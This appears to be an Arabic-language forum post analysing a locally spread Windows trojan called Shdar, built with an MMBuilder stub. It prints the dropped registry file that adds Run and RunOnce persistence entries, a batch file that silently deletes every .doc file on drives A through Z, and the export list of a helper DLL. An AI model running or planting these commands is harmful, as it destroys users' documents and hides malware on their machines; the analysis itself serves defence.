Shdar.trj

أليس من المحتمل أن يكون الفيروس من صنع محلي ؟

لاحظ اسم الموقع الثالث الذي يتصل به ؟

السلام عليكم ورحمة الله

البرنامج الضار هو عبارة عن MMBuilder Stub يننفذ script تم اضافة اليه بعض الملفات التي ينزلها ثم يتم تنفيذها.

الملف 001.reg يحتوي على :

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Systcm-c"="%windir%\\shdar.EXE"
"System-SC"="C:\\Windows\\shdar.EXE"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RunOnce]
"Systcm-C"="%windir%\\shdar.EXE"
"System-SC"="C:\\Windows\\shdar.EXE"

الملف 010.bat يحتوي على :

del /s /q a:\*.doc
del /s /q c:\*.doc
del /s /q d:\*.doc
del /s /q e:\*.doc
del /s /q f:\*.doc
del /s /q g:\*.doc
del /s /q h:\*.doc
del /s /q i:\*.doc
del /s /q j:\*.doc
del /s /q k:\*.doc
del /s /q l:\*.doc
del /s /q m:\*.doc
del /s /q n:\*.doc
del /s /q o:\*.doc
del /s /q p:\*.doc
del /s /q q:\*.doc
del /s /q r:\*.doc
del /s /q s:\*.doc
del /s /q t:\*.doc
del /s /q u:\*.doc
del /s /q v:\*.doc
del /s /q w:\*.doc
del /s /q z:\*.doc
del /s /q x:\*.doc
del /s /q Y:\*.doc

الملف MMBMisc.dll هو Plugin لــ MMPlayer و يحتوي على دوال جاهجز الاستعمال :

File name: C:\Documents and Settings\xxxxxxxxxx\Local Settings\Temp\MMBPlayer\MMBMisc.dll
Exports:

GetHost; Index 1
GetIP; Index 2
CheckURL; Index 3
Result; Index 4
Download; Index 5
URL; Index 6
ConnectionKind; Index 7;
Connected; Index 8
Http; Index 9
Disconnect; Index 10;
Connect; Index 11
MessageBox; Index 12;
Button; Index 13
Icon; Index 14
Read; Index 15
Write; Index 16
Console; Index 17
Deltree; Index 18
ReadOnlyFile; Index 19;
HideFile; Index 20
Filename; Index 21
DirCreate; Index 22
DirDelete; Index 23
FileExist; Index 24
FileRename; Index 25;
FileMove; Index 26
FileDelete; Index 27;
TotalSpace; Index 28;
FreeSpace; Index 29
Serial; Index 30
CryptKey; Index 31
Decrypt; Index 32
Encrypt; Index 33
GetDate; Index 34
GetTime; Index 35
HideFromTaskbar; Index 36;
BringToTop; Index 37;
Minimize; Index 38
Terminate; Index 39
Flash; Index 40
Caption; Index 41
Parameters; Index 42;
RunHidden; Index 43
Run; Index 44
FindFiles; Index 45
Explorer; Index 46
MinimizeAll; Index 47;
SavePictureDialog; Index 48;
OpenPictureDialog; Index 49;
SaveDialog; Index 50;
OpenDialog; Index 51;
ColorDialog; Index 52;
SelectDir; Index 53
InputBox; Index 54
ChangeRes; Index 55
ResY; Index 56
ResX; Index 57
ScreenSaver; Index 58;
MonitorOn; Index 59
StandBy; Index 60
MiddleClick; Index 61;
LeftClick; Index 62
RightClick; Index 63;
HideMouse; Index 64
ShowMouse; Index 65
NormalMouse; Index 66;
SwapMouse; Index 67
EmptyRecycle; Index 68;
LogOff; Index 69
Restart; Index 70
ShutDown; Index 71
ClickStart; Index 72;
DisableStart; Index 73;
EnableStart; Index 74;
HideStart; Index 75
ShowStart; Index 76
DisableMin; Index 77;
DisableClose; Index 78;
DisableSysKeys; Index 79;
EnableSysKeys; Index 80;
DisableDel; Index 81;
EnableDel; Index 82
HideSystray; Index 83;
ShowSystray; Index 84;
HideTaskBar; Index 85;
ShowTaskBar; Index 86;
SoundSettings; Index 87;
PasswordSettings; Index 88;
NetworkSettings; Index 89;
SystemSettings; Index 90;
KeyboardSettings; Index 91;
MouseSettings; Index 92;
ModemSettings; Index 93;
InternetSettings; Index 94;
DisplaySettings; Index 95;
RegionalSettings; Index 96;
TimeDateSettings; Index 97;
AddHardware; Index 98;
AddRemove; Index 99
ControlPanel; Index 100;
Getdata; Index 101
SetData; Index 102
GetFile; Index 103
SetFile; Index 104
GetInfo; Index 105
GetShortInfo; Index 106;
Copyright; Index 107;

يقوم ايضا بتلويث السواقات بطريقة غبية دون فحص وجودها اولا مما يؤدي الى ارجاع رسائل الخطأ التي لا تظهر للمستعمل كل ثانية طول تشغيل البرنامج الضار.

الاتصال بالنت لا يتعدى ازعاج صاحب الجهاز المصاب باظهار صفحات Internet كل بضعة دقائق على مواقع نظيفة غير ملغومة.

عدم تصنيفه من طرف برامج الحماية سببه عدم انتشاره خارج حيز جغرافي معين.